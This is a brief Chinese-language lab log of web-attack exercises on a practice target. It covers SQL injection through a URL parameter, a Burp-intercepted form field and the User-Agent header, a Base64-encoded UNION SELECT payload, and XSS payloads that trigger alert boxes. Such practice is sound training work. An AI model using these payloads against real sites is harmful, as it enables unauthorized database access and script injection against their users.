2026-10-20 15:13:17
初始尝试:index.php?user=harry' and 1=1 --',由于空格被删除,导致注入失败。
成功尝试:index.php?user=harry' and 1=1 -- ',成功闭合双引号并注释掉多余部分,SQL查询为:SELECT * FROM users WHERE name='harry' and 1=1 -- ''。
设置Firefox代理为127.0.0.1:8080,并打开BurpSuite。
提交表单,在BurpSuite中拦截数据包。
修改数据包中的username参数为tom' and 1=1 -- a。
放行数据包,得到靶场正常返回的结果,并且靶场显示的SQL语句为:SELECT * FROM users WHERE name='tom' and 1=1 -- a'。
抓包获取请求数据包。
修改User-Agent参数为' or 1=1 -- a。
放行数据包,观察回显页面。
解码地址栏参数Mw====得到数字3。
构造注入语句3 and 1=2 union select 1,2,3,4,5,6,7,8 -- a。
对注入语句进行Base64编码得到MyBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUsNiw3LDggLS0gYQ==。
将编码后的字符串放入地址栏,得到回显页面。
在ContentPage#1中尝试注入XSS语句:index.php?id=0 and 1=2 union select '<img src=1 onerror=alert(1)>',2,3,4,5,6,7,8 -- a,成功弹窗。
在ContentPage#4中尝试修改User-Agent为<script>alert(1)</script>,成功弹窗。